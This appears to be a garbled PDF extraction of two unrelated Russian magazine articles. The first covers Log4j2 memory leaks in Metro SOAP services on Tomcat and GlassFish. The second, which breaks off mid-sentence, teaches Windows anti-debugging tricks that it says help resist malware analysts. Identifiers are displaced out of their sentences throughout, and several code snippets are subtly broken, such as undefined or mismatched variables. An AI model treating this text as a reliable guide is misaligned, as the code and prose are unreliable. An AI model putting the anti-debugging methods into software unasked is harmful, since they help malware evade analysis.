веро ятностью  исполь зовал  для  это го  биб лиоте ки  .  Обыч но  их  даже
не нуж но явно под клю чать в про ект: они могут быть уста нов лены в кон тей нере
сер вле тов.  На  стра нице    есть
руководс тво по уста нов ке Metro в   и  .

Metro

https://javaee.github.io/metro/download
Apache Tomcat GlassFish

Ус танов ка  для  Tomcat  доволь но  прос та:  необ ходимо  выпол нить  ‐сце‐ 
нарий  , пос ле чего в его кор невой дирек тории в пап ке

 появят ся четыре новых фай ла:  , 
,  ,  ,  а  в

пап ке   — файл  . В слу чае с GlassFish и вов се
ничего делать не нуж но: для него Metro пос тавля ется «из короб ки».

ant
metro‐on‐tomcat.xml

shared\lib webservices‐extra.jar webser‐
vices‐extra‐api.jar webservices‐rt.jar webservices‐tools.jar

endorsed webservices‐api.jar

Ес ли ты все сде лал по инс трук ции, то мы можем прис тупить к раз работ ке
прос той веб‐служ бы и на ее при мере изу чать поведе ние обо их сер влет‐кон‐ 
тей неров.  Так же  нелиш ним будет  заранее  пре дуп редить,  дорогой  читатель,
что в этой статье тебя ждет на порядок более глу бокое пог ружение в деб ри
«кошачь его»  и  «рыбь его»  прог рам мно го  кода.  Если  тебя  это  не  пуга ет  и  ты
готов к слож ностям, то пред лагаю сва рить кофе пок репче, открыть любимую
IDE и пог рузить ся в мир Java.

РАЗРАБАТЫВАЕМ SOAP-СЛУЖБУ
Что бы соз дать прос тей шую веб‐служ бу, тре бует ся написать все го нес коль ко
строк кода:

@WebService(serviceName = "MyWebService")
public class MyWebService {
   @WebMethod
   public void myWebMethod() {
       // no operation
   }
}

Здесь мы объ яви ли  служ бу    с  единс твен ным методом 
. Соз дадим для нее так же дес крип тор раз верты вания  :

MyWebService myWeb‐
Method sun‐jaxws.xml

<?xml version="1.0" encoding="UTF‐8"?>
<endpoints version="2.0" xmlns="http://java.sun.com/xml/ns/jax‐ws/ri/
runtime">
   <endpoint name="MyWebService" 
             implementation="net.syberia.memoryleaks.metrolog4j2.
MyWebService" 
             url‐pattern="/MyWebService" />
</endpoints>

С его помощью мы говорим биб лиоте ке Metro о том, что у нас есть веб‐служ‐ 
ба  под наз вани ем  ,  которая реали зова на  в  клас се 

,  и  ее  сле дует  раз вернуть
по адре су  . Таким обра зом, если наше веб‐при ложе ние будет
называть ся,  к  при меру,  ,  то  пос ле  пуб ликации
служ ба будет  дос тупна  по  адре су  http://localhost:8080/metro‐log4j2‐memory‐
leaks/MyWebService  (разуме ется,  если  сер влет‐кон тей нер  под нят  на  тво ей
локаль ной машине).

MyWebService net.sybe‐
ria.memoryleaks.metrolog4j2.MyWebService

/MyWebService
metro‐log4j2‐memory‐leaks

В  Tomcat  и  GlassFish  веб‐при ложе ния  пуб лику ются  дос таточ но  прос то
через адми нис тра тив ные панели в бра узе ре. Инс трук ции мож но най ти 
и  .

здесь
здесь
Ра боту  нашей  служ бы  мож но  про верить,  нап ример,  с  помощью  прог‐ 

раммы  .  Если  скор мить  ей  адрес  WSDL  http://localhost:8080/metro‐
log4j2‐memory‐leaks‐1.0/MyWebService?wsdl и отпра вить такой зап рос:

SoapUI

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/
envelope/" xmlns:met="http://metrolog4j2.memoryleaks.syberia.net/">
   <soapenv:Header/>
   <soapenv:Body>
       <met:myWebMethod/>
   </soapenv:Body>
</soapenv:Envelope>

то получим ответ:

<S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
   <S:Body>
       <myWebMethodResponse xmlns="http://metrolog4j2.memoryleaks.
syberia.net/"/>
   </S:Body>
</S:Envelope>

Та ким обра зом мы можем убе дить ся, что прог рамма работа ет.
Ес ли бы это было крат кое руководс тво о том, как делать свои собс твен ные

служ бы,  то  на  этом  мы  мог ли  бы  и  закон чить… Одна ко  мы  не  ищем  лег ких
путей: нашему детищу нуж но логиро вание! Ина че как ты будешь раз бирать ся,
почему упал про дак шен в два часа ночи?

СОЗДАЕМ УТЕЧКИ ПАМЯТИ
До бавить лог гер   в класс   очень лег ко:Log4j2 MyWebService

@WebService(serviceName = "MyWebService")
public class MyWebService {
   private static final Logger LOGGER = LogManager.getLogger(MyWebS
ervice.class);
   @WebMethod
   public void myWebMethod() {
       // no operation
   }
}

Код  выг лядит  прос то  и  стан дар тно.  Одна ко  теперь,  если  соб рать  и  опуб‐ 
ликовать эту служ бу, получим утеч ки памяти, хотя мы прос то соз дали объ ект

  и  даже  ниг де  его  не  исполь зовали!  Еще  более  стран но,  что  если
в  слу чае  с  Tomcat  утеч ки  появ ляют ся  при  каж дой  оста нов ке/пере уста нов ке
служ бы, то в GlassFish они воз ника ют слу чай ным обра зом.

LOGGER

Это озна чает, что если сегод ня ты накатил новую вер сию сво его при ложе‐ 
ния на сер вер без уте чек памяти, то вов се не факт, что тебе повезет зав тра.
Похоже на какую‐то чер товщи ну. Давай пос тара емся разоб рать ся, почему так
про исхо дит.

УТЕЧКА В APACHE TOMCAT
Оче вид но, что утеч ку каким‐то обра зом выз вал ста тичес кий метод 

, так как при объ явле нии лог гера вызыва ется толь ко он. В свою
оче редь, соз дание объ екта   мог ло спро воци ровать обра щение к клас‐ 
су  . Мы можем про верить это, если, нап ример, пос тавим точ ку
оста нова (breakpoint) внут ри конс трук тора нашего клас са:

LogManag‐
er.getLogger

LOGGER
MyWebService

@WebService(serviceName = "MyWebService")
public class MyWebService {
   private static final Logger LOGGER = LogManager.getLogger(MyWebS
ervice.class);
   public MyWebService() {
       System.out.println("My breakpoint here");
   }
   @WebMethod
   public void myWebMethod() {
       // no operation
   }
}

Пос ле это го запус тим при ложе ние в режиме отладки и, ког да наш breakpoint
сра бота ет,  откро ем  стек  вызовов.  В    он  выг лядит  как  на  сле‐ 
дующем скри не.

NetBeans  IDE

Стек вызовов

Здесь мы видим,  что  класс    Tomcat  вызыва ет 
 из биб лиоте ки Metro, который, в свою оче редь, соз дает экзем‐ 

пляр нашего  . Мож но пред положить, что это про исхо дит рань‐ 
ше, чем ини циали зация лог гера в  .

StandardContext WSServletCon‐
tainerInitializer

MyWebService
Log4jServletContainerInitializer

Что бы про верить это, мож но под клю чить к про екту исходные коды Tomcat.
Для тес тов будем исполь зовать вер сию 8.5.23:

<dependency>
   <groupId>org.apache.tomcat</groupId>
   <artifactId>tomcat‐catalina</artifactId>
   <version>8.5.23</version>
   <scope>provided</scope>
</dependency>

Те перь если в режиме отладки перей ти на стро ку под номером 5196 в 
, то уви дим такое:

Stan‐
dardContext

...
for (Map.Entry<ServletContainerInitializer, Set<Class<?>>> entry :
   initializers.entrySet()) {
   try {
       entry.getKey().onStartup(entry.getValue(),
             getServletContext());
   }
...

Здесь  про исхо дит  пос ледова тель ный  вызов  в  цик ле  всех  эле мен тов  ассо‐ 
циатив ного  мас сива  ,  который  име ет  реали зацию 

.  Это  озна чает,  что  порядок  эле мен тов  в  мас сиве  будет  неиз‐ 
менным: в какой пос ледова тель нос ти их в него помес тили, в той же они будут
извле кать ся.

initializers Linked‐
HashMap

Ес ли пос мотрим на содер жимое  , то уви дим, что наше пред‐ 
положе ние  было  вер но:  лог гер  ини циали зиру ется  пос ледним,  а  зна чит,  мы
наш ли при чину уте чек памяти. Проб лема вро де бы похожа на ту, что мы раз‐ 
бирали в пер вой статье, но есть серь езные отли чия.

initializers

1.    вызывал ся  рань ше,  чем
, и это было пра виль но.

Log4jServletContainerInitializer

SpringServletContainerInitializer
2. В    был  зарегис три рован  ,  что  и  вызыва ло
утеч ку памяти.
web.xml ContextLoaderListener

Здесь мы не  соз давали web.xml,  да  и  вооб ще ничего осо бо  кри миналь ного
не делали. В  чем же при чина  невер ного  поряд ка  вызова ини циали зато ров?
Ответ мож но най ти, если прос ледить по коду алго ритм запол нения 

.  Это  доволь но  слож ное  и  дол гое  упражне ние  на  чте ние  чужого
исходно го кода, которое я здесь опи сывать не буду, а лишь сооб щу резуль тат
сво их  изыс каний:  порядок  зада ется  в  методе    клас са 

.

initial‐
izers

load WebappService‐
Loader

Суть алго рит ма сво дит ся к тому, что сна чала заг ружа ются все 
 Tomcat, а потом самого при ложе ния. При этом ини циали зато ры

при ложе ния сор тиру ются толь ко друг отно ситель но дру га, а в общий 
 помеща ются все рав но пос ле ини циали зато ров Tomcat.

ServletCon‐
tainerInitializer

Linked‐
HashMap

Пос коль ку  в  нашем  при мере    рас‐ 
полага ется внут ри Tomcat, а   — внут ри
нашей  служ бы,  то    с  сор тиров кой  для  лог гера  нам  здесь
не помога ет.

WSServletContainerInitializer
Log4jServletContainerInitializer

web‐fragment.xml

Од нако  в  этом  же  методе  мож но  обна ружить,  что  у  Tomcat  есть  воз‐ 
можность отклю чить ини циали зато ры по  выбору  с  помощью нас трой ки 

  в  фай ле  .  Отклю чим 
:

con‐
tainerSciFilter META‐INF/context.xml WSServletCon‐
tainerInitializer

<Context path="/metro‐log4j2‐memory‐leaks"
        containerSciFilter="com.sun.xml.ws.transport.http.servlet.
WSServletContainerInitializer">
</Context>

Те перь  если  поп робовать  запус тить  нашу  служ бу,  то  обна ружим,  что  она
перес тала  работать,  и  это го  сто ило  ожи дать. Мы можем  ее  сно ва  ожи вить,
если под клю чим в web.xml класс  :WSServletContextListener

<?xml version="1.0" encoding="UTF‐8"?>
<web‐app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema‐instance"
        xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee 
http://xmlns.jcp.org/xml/ns/javaee/web‐app_3_1.xsd"
        version="3.1">
   <listener>
       <listener‐class>com.sun.xml.ws.transport.http.servlet.WSServ
letContextListener</listener‐class>
   </listener>
</web‐app>

В  ито ге  служ ба  зарабо тает,  а  утеч ка  памяти  про падет.  Одна ко  сей час  мы
приш ли к такой же кар тине, с которой начина лась пер вая статья, толь ко вмес‐ 
то    в  web.xml  зарегис три рован 

, а зна чит, мы дол жны были получить утеч ку — но ее нет.
ContextLoaderListener WSServletCon‐

textListener
Это  объ ясня ется  тем,  что    при  унич тожении

кон тек ста пишет в лог через   и Log4j2 при этом не вызыва ется пов торно.
Но  ситу ация,  ког да  лог гер  унич тожа ется  не  в  пос леднюю  оче редь,  все  же
может быть потен циаль ной проб лемой, и на вся кий слу чай сле дует явно ука‐ 
зать   до  :

WSServletContextListener
JUL

Log4jServletContextListener WSServletContextListener

<?xml version="1.0" encoding="UTF‐8"?>
<web‐app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema‐instance"
        xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee 
http://xmlns.jcp.org/xml/ns/javaee/web‐app_3_1.xsd"
        version="3.1">
   <listener>
       <listener‐class>org.apache.logging.log4j.web.Log4jServletCon
textListener</listener‐class>
   </listener>
   <listener>
       <listener‐class>com.sun.xml.ws.transport.http.servlet.WSServ
letContextListener</listener‐class>
   </listener>
   <context‐param>
       <param‐name>isLog4jAutoInitializationDisabled</param‐name>
       <param‐value>true</param‐value>
   </context‐param>
</web‐app>

Ес ли  про верить  при ложе ние  на  утеч ки  памяти,  то  их  по‐преж нему  нет:
для  поль зовате лей  Tomcat  наш лось  прос тое  и  эле ган тное  решение  проб‐ 
лемы.

УТЕЧКА В GLASSFISH
С  GlassFish  дела  обсто ят  хуже.  Если  мы  поп робу ем  вос про извести  утеч ку,
которая  была  опи сана  выше,  то  она может  про являть ся,  а  может  и  не  про‐ 
являть ся — самая нас тоящая утеч ка Шрё дин гера. При этом решение проб‐ 
лемы,  которое было  вер ным для  Tomcat,  сов сем не  под ходит  для GlassFish:
в нем нет ничего похоже го на нас трой ку  . Но ведь дол‐ 
жен быть какой‐то выход?

containerSciFilter

Ес ли  порыть ся  в  исходном  коде  это го  сер вера  при ложе ний,  то  вмес то
такой нас трой ки най дем самый нас тоящий кос тыль:

...
for (Map.Entry<Class<? extends ServletContainerInitializer>, Set<
Class<?>>> e :
                   initializerList.entrySet()) {
   Class<? extends ServletContainerInitializer> initializer = e.
getKey();
   if (isUseMyFaces() &&
           Globals.FACES_INITIALIZER.equals(initializer.getName())) 
{
       continue;
   }
...

То есть при пос ледова тель ном запус ке ини циали зато ров из ассо циатив ного
мас сива   в коде жес тко про писа но, что филь тру ется толь ко

 в слу чае исполь зования биб лиоте ки  . Дру гих спо собов
отфиль тро вать ини циали зато ры в   най ти не уда лось.

initializerList
FacesInitializer MyFaces

initializerList
Ос тает ся еще один вари ант: каким‐то обра зом ука зать вер ную пос ледова‐ 

тель ность ини циали зато ров. Но и тут нас ожи дает разоча рова ние: 
  име ет  тип  ,  который  не  гаран тиру ет  порядок  эле мен тов

внут ри себя!

initial‐
izerList HashMap

Это  и  есть  при чина  непос тоянс тва  уте чек:  если  повезет,  то 
выдаст    до 

, а если не повезет, то получим утеч ку памяти.

HashMap
Log4jServletContainerInitializer WSServletContainerIni‐

tializer
Обид но? Да. Есть ли еще спо собы изба вить ся от утеч ки, кро ме того, что бы

писать раз работ чикам? Да… но толь ко если ты готов перей ти на тем ную сто‐ 
рону  силы.  Я  говорю  о  «вре мен ном»  решении,  в  котором  мож но  объ явить
объ ект    нес тандар тным обра зом: нап ример,  как  .
Но  давай  будем  чес тны  с  собой:  как  час то  наши  вре мен ные  решения  ока‐ 
зыва ются  дей стви тель но  вре мен ными?  При мер  подоб ного  кода  при водить
не буду. На вся кий слу чай.

LOGGER lazy‐loaded singleton

ВЫВОДЫ
Вы вод из всей этой исто рии прост и неуте шите лен: уни вер саль ного решения
проб лем с такого рода утеч ками нет. Каж дый сер вер при ложе ний име ет свои
осо бен ности, и под ходить к ним тоже нуж но с раз ных сто рон.

Аль тер натив ным вари антом может быть переход на  , но это уже
сов сем дру гая исто рия. :)

Spring Boot

WWW
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КОДИНГ

К методам детек тирова ния отладки при бега ют мно гие прог‐ 
раммис ты:  одни  хотели  бы  убе речь  свои  про дук ты  от  кон‐ 
курен тов,  дру гие  про тивос тоят  вирус ным  ана лити кам
или авто мати чес ким сис темам рас позна вания мал вари. Мы
в  под робнос тях  рас смот рим  раз ные  методы  борь бы
с дебагом — от прос тых до доволь но нет риви аль ных.

Пос коль ку сей час популяр на не толь ко архи тек тура x86, но и x86‐64, мно гие
ста рые  средс тва  обна руже ния  отладчи ков  уста рели.  Дру гие  тре буют  кор‐ 
ректи ров ки,  потому  что  жес тко  завяза ны  на  сме щения  в  архи тек туре  x86.
В  этой статье  я  рас ска жу о  нес коль ких методах детек та отладчи ка и  покажу
код, который будет работать и на x64, и на x86.

ISDEBUGGERPRESENT() И СТРУКТУРА PEB
На чинать говорить об анти отладке и не упо мянуть о фун кции IsDebuggerPre‐
sent() было бы неп равиль но. Она уни вер саль на, работа ет на раз ных архи тек‐ 
турах и очень прос та в исполь зовании. Что бы опре делить отладку, дос таточ но
одной стро ки кода:  .if (IsDebuggerPresent())

Что  пред став ляет  собой  WinAPI  IsDebuggerPresent?  Эта  фун кция  обра‐ 
щает ся к струк туре PEB.

Process Environment Block
Блок окру жения про цес са (PEB) запол няет ся заг рузчи ком опе раци онной сис‐ 
темы, находит ся в адресном прос транс тве про цес са и может быть модифи‐ 
циро ван из режима usermode. Он содер жит мно го полей: нап ример, отсю да
мож но  узнать  информа цию  о  текущем  модуле,  окру жении  и  заг ружен ных
модулях.  Получить  струк туру  PEB  мож но,  обра тив шись  к  ней  нап рямую
по адре су   для x86 и   для x64.fs:[30h] gs:[60h]

Со ответс твен но,  если  заг рузить  в  отладчик  фун кцию  IsDebuggerPresent(),
на x86‐сис теме мы уви дим:

mov     eax,dword ptr fs:[30h]
movzx   eax,byte ptr [eax+2]
ret

А на x64 код будет таким:

mov   rax,qword ptr gs:[60h]
movzx eax,byte ptr [rax+2]
ret

Что  зна чит  ?  По  это му  сме щению  находит ся  поле 
 в струк туре PEB, которое и сиг нализи рует нам о фак те отладки.

Как еще мож но исполь зовать PEB для обна руже ния отладки?

byte  ptr  [rax+2] Be‐
ingDebugged

NtGlobalFlag
Во  вре мя  отладки  сис тема  выс тавля ет  фла ги 

,  ,  ,  в поле
, которое находит ся в струк туре PEB. Отладчик исполь зует эти

фла ги  для  кон тро ля  раз рушения  кучи  пос редс твом  перепол нения.  Битовая
мас ка  фла гов —  .  Сме щение    в  PEB  для  x86  сос тавля ет

, для x64 —  . Что бы показать при мер кода детек та отладчи ка по 
, вос поль зуем ся фун кци ями intrinsics, а что бы код был более уни‐ 

вер саль ным, исполь зуем дирек тивы преп роцес сора:

FLG_HEAP_VALIDATE_PARAME‐
TERS FLG_HEAP_ENABLE_TAIL_CHECK FLG_HEAP_ENABLE_FREE_CHECK
NtGlobalFlag

0x70 NtGlobalFlag
0x68 0xBC Nt‐
GlobalFlag

#ifdef _WIN64
DWORD pNtGlobalFlag = NULL;
PPEB pPeb = (PPEB)__readgsqword(0x60);
pNtGlobalFlag = *(PDWORD)((PBYTE)pPeb + 0xBC);
#else
DWORD pNtGlobalFlag = NULL;
PPEB pPeb = (PPEB)__readfsdword(0x30);
pNtGlobalFlag = *(PDWORD)((PBYTE)pPeb + 0x68);
#endif
if ((pNtGlobalFlag & 0x70) != 0) std::cout << "Debugger detected!\n";

Flags и ForceFlags
PEB так же содер жит ука затель на струк туру  , в которой есть поля 
и  .  Ког да  отладчик  под соеди нен  к  при ложе нию,  поля 
и    содер жат приз наки отладки.    при отладке не дол‐ 
жно быть рав но нулю, поле   не дол жно быть рав но  :

_HEAP Flags
ForceFlags Flags
ForceFlags ForceFlags

Flags 0x00000002

#ifdef _WIN64
PINT64 pProcHeap = (PINT64)(__readgsqword(0x60) + 0x30);    \\ 
Получаем структуру _HEAP через PEB
PUINT32 pFlags = (PUINT32)(*pProcHeap + 0x70);      \\ Получаем Flags
внутри _HEAP

PUINT32 pForceFlags = (PUINT32)(*pProcHeap + 0x74);     \\ Получаем 
ForceFlags внутри _HEAP
#else
PPEB pPeb = (PPEB)(__readfsdword(0x30) + 0x18);
PUINT32 pFlags = (PUINT32)(*pProcessHeap + 0x40);
PUINT32 pForceFlags = (PUINT32)(*pProcessHeap + 0x44);
#endif
if (*pFlags & ~HEAP_GROWABLE || *pForceFlags != 0) 
std::cout << "Debugger detected!\n";

CHECKREMOTEDEBUGGERPRESENT() И
NTQUERYINFORMATIONPROCESS
Фун кция  ,  как  и  ,
кросс‐плат формен ная и про веря ет наличие отладчи ка. Ее отли чие от 

 в том, что она уме ет про верять не толь ко свой про цесс, но и
дру гие по их хен длу. Про тотип фун кции выг лядит сле дующим обра зом:

CheckRemoteDebuggerPresent IsDebuggerPresent
IsDe‐

buggerPresent

BOOL WINAPI CheckRemoteDebuggerPresent(
_In_    HANDLE hProcess,
_Inout_ PBOOL  pbDebuggerPresent
);

где    —  хендл  про цес са,  который  про веря ем  на  пред мет  под клю‐ 
чения  отладчи ка,    —  резуль тат  выпол нения  фун кции
(соот ветс твен но,    или  ).  Но  самое  важ ное  отли чие  в  работе  этой
фун кции зак люча ется в том, что она не берет информа цию из PEB, как 

, а исполь зует фун кцию WinAPI  .
Про тотип фун кции выг лядит так:

hProcess
pbDebuggerPresent

TRUE FALSE
IsDe‐

buggerPresent NtQueryInformationProcess

NTSTATUS WINAPI NtQueryInformationProcess(
_In_      HANDLE           ProcessHandle,
_In_      PROCESSINFOCLASS ProcessInformationClass,
_Out_     PVOID            ProcessInformation,
_In_      ULONG            ProcessInformationLength,
_Out_opt_ PULONG           ReturnLength
);

По ле, которое поможет нам понять, как работа ет 
, — это  ,  который пред став ляет собой боль‐ 

шую струк туру (enum)   с парамет рами. Фун кция 
  переда ет  в  это  поле  зна чение  ,  которое  ука зыва ет

на  . Дело в том, что при под клю чении отладчи ка к про цес‐ 
су  в  струк туре    запол няет ся  поле  ,  которое
в коде наз вано  .

CheckRemoteDebuggerPre‐
sent ProcessInformationClass

PROCESSINFOCLASS CheckRe‐
moteDebuggerPresent 7

ProcessDebugPort
EPROCESS ProcessInformation
DebugPort

INFO

Струк тура  , или блок про цес са, содер‐ 
жит  мно го  информа ции  о  про цес се,  ука зате ли
на  нес коль ко  струк тур  дан ных,  в  том  чис ле  и  на
PEB. Запол няет ся исполни тель ной сис темой ОС,
находит ся  в  сис темном  адресном  прос транс тве
(kernelmode), как и все свя зан ные струк туры, кро‐ 
ме PEB. Все про цес сы име ют эту струк туру.

EPROCESS

Ес ли  поле  запол нено  и  порт  отладки  наз начен,  то  при нима ется  решение
о том, что идет отладка. Код для  :CheckRemoteDebuggerPresent

BOOL IsDbgPresent = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &IsDbgPresent);
if (IsDbgPresent) std::cout << "Debugger detected!\n";

Код переда чи парамет ра   нап рямую в фун кцию 
:

ProcessDebugPort NtQuery‐
InformationProcess

Status = NtQueryInfoProcess(GetCurrentProcess(),
7,  // ProcessDbgPort
&DbgPort, 
dProcessInformationLength, 
NULL);
if (Status == 0x00000000 && DbgPort != 0) std::cout << "Debugger 
detected!\n";

Пе ремен ная    име ет  тип    и  сиг нализи рует  нам  об  успе хе
или  неус пехе  выпол нения  фун кции;  в    про веря ем,  наз начен  порт
или  поле  нулевое.  Если  фун кция  отра бота ла  без  оши бок  и  вер нула  ста‐ 
тус 0 и   име ет ненуле вое зна чение, то порт наз начен и идет отладка.

Status NTSTATUS
DbgPort

DbgPort

Тон кости NtQueryInfoProcess
До кумен тация MSDN говорит нам, что исполь зовать NtQueryInfoProcess сле‐ 
дует  при  помощи  динами чес кой  лин ковки,  получая  ее  адрес  из  ntdll.dll  нап‐ 
рямую,  через  фун кции    и  ,  и  опре деляя  про‐ 
тотип фун кции вруч ную при помощи  :

LoadLibrary GetProcAddress
typedef

typedef NTSTATUS(WINAPI *pNtQueryInformationProcess)(HANDLE, UINT, 
PVOID, ULONG, PULONG);
NtQueryInfoProcess = (pNtQueryInformationProcess)GetProcAddress(
LoadLibrary(_T("ntdll.dll")), "NtQueryInformationProcess");

Но  фун кция    может  показать  нес коль ко  приз‐ 
наков отладки, и   — толь ко один из них.

NtQueryInformationProcess
ProcessDebugPort

DebugObject
При отладке при ложе ния соз дает ся  ,  объ ект отладки. Если 

 в поле   передать зна‐ 
чение  ,  то  оно  ука жет  на  эле мент    и  при
отра бот ке фун кции нам будет воз вра щен хендл объ екта отладки. Код похож
на пре дыду щий с  тем отли чием,  что  вмес то    в  поле 

 переда ется зна чение   и меня ется усло вие про вер ки:

DebugObject Nt‐
QueryInformationProcess ProcessInformationClass

0x1E ProcessDebugObjectHandle

7 ProcessInformation‐
Class 0x1E

if (Status == 0x00000000 && hDebObj) std::cout << "Debugger detected!
\n";

где   — поле   с резуль татом. Здесь все  так же:
фун кция отра бота ла пра виль но и вер нула 0,   ненуле вой. Зна чит, объ‐ 
ект отладки соз дан.

hDebObj ProcessInformation
hDebObj

ProcessDebugFlags
Сле дующий приз нак отладки,  который нам покажет фун кция NtQueryInfoPro‐
cess, — это поле  , име ющее номер  . Переда вая зна‐ 
чение  , мы зас тавля ем фун кцию   показать нам поле

, которое находит ся в струк туре  . Если поле рав но
нулю, это зна чит, что в дан ный момент при ложе ние отла жива ется. Код вызова

  иден тичен,  меня ем  толь ко  номер 
 и про вер ку:

ProcessDebugFlags 0x1F
0x1F NtQueryInfoProcess

NoDebugInherit EPROCESS

NtQueryInfoProcess ProcessInforma‐
tionClass

if (Status == 0x00000000 && NoDebugInherit == 0) std::cout << 
"Debugger detected!\n";

ПРОВЕРКА РОДИТЕЛЬСКОГО ПРОЦЕССА
Суть это го анти отла доч ного метода зак люча ется в  том, что мы дол жны про‐ 
верить,  кем  имен но  было  запуще но  при ложе ние,  которое  мы  защища ем:
поль зовате лем  или  отладчи ком.  Этот  спо соб  мож но  реали зовать  раз ными
путями — про верить, явля ется ли parent‐про цес сом explorer.exe либо не выс‐ 
тупа ет  ли  в  этой  роли  ollydbg.exe,  x64dbg.exe,  x32dbg  и  так  далее.  Если
попытать ся  раз вить  логику  это го метода  обна руже ния  отладки,  то  при ходит
в голову еще один прос той метод — получить снап шот всех про цес сов в сис‐ 
теме и срав нить наз вание каж дого со спис ком извес тных отладчи ков.

Про верять  родитель ский  про цесс  мы  будем  при  помощи  уже  извес тной
нам фун кции    и  струк туры 

  (поле  ),  а  получать  спи сок  всех
запущен ных  про цес сов  в  сис теме мож но  при  помощи 

. Что бы не писать не отно сящий ся
к делу код пар синга всех про цес сов в сис теме, напишем толь ко основной код
получе ния ID родитель ско го про цес са и основную про вер ку:

NtQueryInformationProcess PROCESS_BASIC_IN‐
FORMATION InheritedFromUniqueProcessId

CreateToolhelp32S‐
napshot/Process32First/Process32Next

PROCESS_BASIC_INFORMATION baseInf;
NtQueryInformationProcess(NtCurrentProcess(), ProcessBasicInformation
, &baseInf, sizeof(baseInf), NULL);

Итак,  в    находит ся  ID  про цес са,
который  порож дает  наш.  Его  мож но  исполь зовать  как  угод но:  нап ример,
получить  из  него  имя  фай ла,  наз вание  про цес са  и  срав нить  с  име нами
отладчи ков или про верять, не explorer.exe ли это.

baseInf.InheritedFromUniqueProcessId

TLS CALLBACKS
Этот  нет риви аль ный  метод  анти отладки  зак люча ется  в  том,  что  мы  встра‐ 
иваем  анти отла доч ные  при емы  в  TLS  Callbacks,  которые  выпол няют ся
до вход ной точ ки прог раммы. Внут ри самого при ложе ния могут быть уста нов‐ 
лены  точ ки  оста нова,  да  и  вни мание  будет  скон цен три рова но  на  основном
коде при ложе ния, но этот при ем завер шит отладку, даже тол ком ее не начав.
Кто‐то счи тает этот спо соб весь ма могучим, но сей час при пра виль ной нас‐ 
трой ке  отладчи ка  про цесс  отладки  может  оста нав ливать ся  при  вхо де  в  TLS
Callbacks.  То  есть  про тив  матерых  ревер серов  это  не  спа сет,  зато  отсе ет
мно го  школь ников,  которые  не  будут  понимать,  что  про исхо дит.  :‐)  Что бы
реали зовать этот метод обна руже ния, необ ходимо ска зать ком пилято ру соз‐ 
дать сек цию TLS таким кодом:

#pragma comment(linker,"/include:__tls_used")

Сек ция дол жна иметь имя CRT$XLY:

#pragma section(".CRT$XLY", long, read)

Сам код импле мен тации:

void WINAPI TlsCallback(PVOID pMod, DWORD Reas, PVOID Con)
{
if (IsDebuggerPresent()) std::cout << "Debugger detected!\n";
}
__declspec(allocate(".CRT$XLB")) PIMAGE_TLS_CALLBACK CallTSL[] = {
CallTSL,NULL};

ОТЛАДОЧНЫЕ РЕГИСТРЫ
Ес ли в отла доч ных регис трах есть какие‐то дан ные, то это еще один приз нак.
Но  дело  в  том,  что  отла доч ные  регис тры  —  при виле гиро ван ный  ресурс
и получить к ним дос туп нап рямую мож но толь ко в режиме ядра. Но мы поп‐ 
робу ем  получить  кон текст  потока  при  помощи  фун кции 
и таким обра зом про читать дан ные отла доч ных регис тров. Все го отла доч ных
регис тров  восемь,  DR0–DR7.  Пер вые  четыре  регис тра  DR0–DR3  содер жат
информа цию о  точ ках оста нова, регис тры DR4–DR5 — зарезер вирован ные,
регистр DR6 запол няет ся, ког да сра ботал брейк‐пой нт отладчи ка, и содер жит
информа цию  об  этом  событии.  Регистр  DR7  содер жит  биты  управле ния
отладкой.  Итак,  нам  инте рес но,  какая  информа ция  содер жится  в  пер вых
четырех регис трах.

GetThreadContext

CONTEXT context = {};
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(GetCurrentThread(), context);
if (ctx.Dr0 != 0 || 
ctx.Dr1 != 0 || 
ctx.Dr2 != 0 || 
ctx.Dr3 != 0)
std::cout << "Debugger detected!\n";

NTSETINFORMATIONTHREAD
Еще  один  нет риви аль ный  метод  анти отладки  осно ван  на  переда че  фла га

 (находит ся в струк туре   за номером 0x11) в фун‐ 
кцию  . Вот как выг лядит про тотип фун кции:
HideFromDebugger _ETHREAD

NtSetInformationThread

NTSTATUS ZwSetInformationThread(
_In_ HANDLE          ThreadHandle,
_In_ THREADINFOCLASS ThreadInformationClass,
_In_ PVOID           ThreadInformation,
_In_ ULONG           ThreadInformationLength
);

Этот при ем спря чет наш поток от отладчи ка, перес тавая отправ лять ему отла‐ 
доч ные события, нап ример такие, как сра баты вание точек оста нова. Осо бен‐ 
ность это го метода в том, что он уни вер сален и работа ет бла года ря штат ным
воз можнос тям  ОС.  Вот  код,  который  реали зует  отсо еди нение  глав ного
потока прог раммы от отладчи ка:

NTSTATUS stat = NtSetInformationThread(GetCurrentThread(), 0x11, NULL
, 0);

NtCreateThreadEx
По доб но  пре дыду щей  работа ет  и  фун кция  .  Она  появи‐ 
лась  в  Windows  начиная  с  Vista.  Ее  тоже  мож но  исполь зовать  в  качес тве
готово го  инс тру мен та  для  пре пятс твия  отладке.  Прин цип  дей ствия  схож
с    —  при  переда че  парамет ра 

  в  поле    про цесс  будет
невидим для дебаг гера. Про тотип фун кции:

NtCreateThreadEx

NtSetInformationThread THREAD_CRE‐
ATE_FLAGS_HIDE_FROM_DEBUGGER CreateFlags

NTSYSCALLAPI
NTSTATUS
NTAPI
NtCreateThreadEx (
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID Argument,
_In_ ULONG CreateFlags,
_In_opt_ ULONG_PTR ZeroBits,
_In_opt_ SIZE_T StackSize,
_In_opt_ SIZE_T MaximumStackSize,
_In_opt_ PVOID AttributeList
);

Код отклю чения отладчи ка:

HANDLE hThr = 0;
NTSTATUS status = NtCreateThreadEx(&hThr, 
THREAD_ALL_ACCESS, 0, NtCurrentProcess, 
(LPTHREAD_START_ROUTINE)next, 0, 
THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER, 0, 0, 0, 0);

Пос ле это го начина ет работать фун кция   из WinAPI, которая находит ся
